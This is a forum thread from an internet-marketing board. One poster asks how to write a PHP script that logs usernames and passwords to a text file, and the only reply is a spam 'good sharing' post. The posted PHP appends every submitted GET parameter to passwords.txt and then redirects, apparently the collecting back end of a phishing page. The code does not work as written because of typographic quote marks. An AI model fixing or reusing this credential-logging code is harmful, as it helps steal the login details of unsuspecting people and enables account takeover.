Internet Marketing Business Forum


Internet Marketing Business Forum » MAIN FORUMS » Web Design & Programming » How do i write a php script that logs username/password to a txt file?
Web Design & Programming Building websites, coding scripts or developing apps? html, css, javascripts, ajax, php, asp, java, c+, C++ and other geeky info is here.

Reply
 
LinkBack Thread Tools Display Modes
Old 08-04-2009, 02:10 AM   #1 (permalink)
Boe
 Boe's Avatar
 
Status: Junior Member
Join Date: Aug 2009
Posts: 1
Boe is on a distinguished road
Default How do i write a php script that logs username/password to a txt file?

my first try was this:
<?php header(”Location: “);

$handle = fopen(”passwords.txt”, “a”);

foreach($_GET as $variable => $value)

{ fwrite($handle, $variable);

fwrite($handle, “=”);

fwrite($handle, $value);

fwrite($handle, “\r\n”);

}

fwrite($handle, “\r\n”);

fclose($handle);

exit; ?>
but it came up with all kinds of errors, can somebody provide an other or point me in the right direction? thank you, your help is much appreciated!
Boe is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit!
Reply With Quote
Old 10-04-2010, 02:06 AM   #2 (permalink)
 
Status: Junior Member
Join Date: Oct 2010
Posts: 2
Sameera is on a distinguished road
Default

good sharing
Sameera is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit!
Reply With Quote
Reply
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


All times are GMT -4. The time now is 09:26 AM.
Powered by vBulletin® Version 3.7.0 Beta 6
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.


Nav Item BG